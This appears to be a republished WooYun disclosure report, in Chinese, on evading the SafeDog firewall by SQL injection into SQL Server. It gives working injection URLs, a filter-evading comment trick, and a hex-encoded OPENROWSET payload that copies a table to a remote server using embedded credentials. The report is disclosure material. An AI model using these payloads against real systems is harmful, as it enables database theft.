一次有趣的过狗经历(sql server特性利用)

admin 2017年4月30日06:32:57评论422 views字数 229阅读0分45秒阅读模式
摘要

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

漏洞概要 关注数(63) 关注此漏洞

缺陷编号: WooYun-2016-205421

漏洞标题: 一次有趣的过狗经历(sql server特性利用)

相关厂商: 安全狗

漏洞作者: niexinming

提交时间: 2016-05-05 22:02

公开时间: 2016-06-20 11:10

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: aspx+sqlserver注射

11人收藏


漏洞详情

披露状态:

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-06: 厂商已经确认,细节仅向厂商公开
2016-05-16: 细节向核心白帽子及相关领域专家公开
2016-05-26: 细节向普通白帽子公开
2016-06-05: 细节向实习白帽子公开
2016-06-20: 细节向公众公开

简要描述:

请叫我sql server小王子

详细说明:

先上版本:

一次有趣的过狗经历(sql server特性利用)

首先安全狗对select+from的防御相当严格,但是对于其他的语句的防御就一般了

我们可以利用sql server里面的各自自带的系统存储过程来绕过安全狗的种种限制,从而达到脱裤的效果。

我的思路是:首先要先动态的建立一个存储过程

开始:

我的是这样建立存储过程的:

http://localhost/test.aspx?type=1;CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)--

结果一直不成功,经过调试之后得知:

CREATE/ALTER PROCEDURE' 必须是查询批次中的第一个语句。

后来我查到如果在1后面加个go就可以在sql server企业管理器中查查询出来:

select * from mystu;

go

CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)

但是复制到url中却一直在报go的错误,我很无语,然后在微软的官方搜到一个解释:

如果基于 ODBC 或 OLE DB API 的应用程序试图执行 GO 命令,会收到语法错误。 SQL Server 实用工具从不向服务器发送 GO 命令。

所以无法用go之后,我就一直在找办法,终于在系统拓展存储过程里面发现一个存储过程:

sp_sqlexec

查看这个存储过程的源代码:

code 区域
USE [student]
GO
/****** Object: StoredProcedure [sys].[sp_sqlexec] Script Date: 2016/5/5 17:49:14 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER procedure [sys].[sp_sqlexec] @p1 text as
declare @execstr nvarchar(max)
set @execstr = CONVERT(nvarchar(max),@p1)
exec(@execstr)

刚刚好满足我的要求:

于是:

http://localhost/test.aspx?type=1;EXEC student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

但是,被安全狗拦截了

一次有趣的过狗经历(sql server特性利用)

但是我改变一下,可爱的狗狗就不拦了

http://localhost/test.aspx?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

然后发现:

一次有趣的过狗经历(sql server特性利用)

然后,既然建立好了存储过程就代表可以随意随意执行sql语句了:

我们可以这样执行sql语句:

http://localhost/test.aspx?type=1;exec/*(*/myexec 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

安全狗根本不会拦截

如何利用呢?

首先,你可以开xp_cmdshell这个系统存储过程,并且拿到系统权限,还可以已dns的方式拖出小部分数据

但是今天,我要介绍一个新的玩法就是:远程脱裤

首先这个注入点的权限要高,sql server dba的权限

然后我们要尝试开启sql server的远程调用:

【1】exec sp_configure 'show advanced options',1

【2】reconfigure

【3】exec sp_configure 'Ad Hoc Distributed Queries',1 

【4】reconfigure

对应的利用过程是:

【1】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'show advanced options',1

【2】:http://localhost/test.aspx?type=1;reconfigure

【3】:http://localhost/test.aspx?type=1;exec/*(*/sp_configure 'Ad Hoc Distributed Queries',1

【4】:http://localhost/test.aspx?type=1;reconfigure

然后,我们就可以愉快的远程脱裤了:

用这个函数脱裤:

insert openrowset( 'SQLOLEDB ', 'ip地址 '; '数据库用户名'; '数据库密码',远程数据库名.dbo.tmp) select *from 要拖的数据库的表名

这个转换成hex就是:

0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样

然后我在注入点执行这样的语句:

http://localhost/test.aspx?type=1;exec/*(*/myexec 0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475

一次有趣的过狗经历(sql server特性利用)

好了,愉快的拖出数据来了

漏洞证明:

一次有趣的过狗经历(sql server特性利用)

修复方案:

过滤

版权声明:转载请注明来源 niexinming@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-06 11:01

厂商回复:

sql server小王子,忍不住给你点个赞

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-05-06 07:15 | SoulHunter ( 实习白帽子 | Rank:44 漏洞数:15 | 已经死了。)

    0

    骑士团参拜公主殿下。

  2. 2016-05-06 10:33 | 带我玩 ( 路人 | Rank:16 漏洞数:8 | 带我玩)

    0

    好神奇的内容。

  3. 2016-05-06 10:36 | niexinming ( 普通白帽子 | Rank:318 漏洞数:53 | 好好学习,天天日站)

    0

    居然还有人评论

  4. 2016-06-20 12:37 | hblf ( 路人 | Rank:16 漏洞数:3 | 甲方安全攻城狮一枚)

    0

    牛逼,测一下,国外的waf也不拦截。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin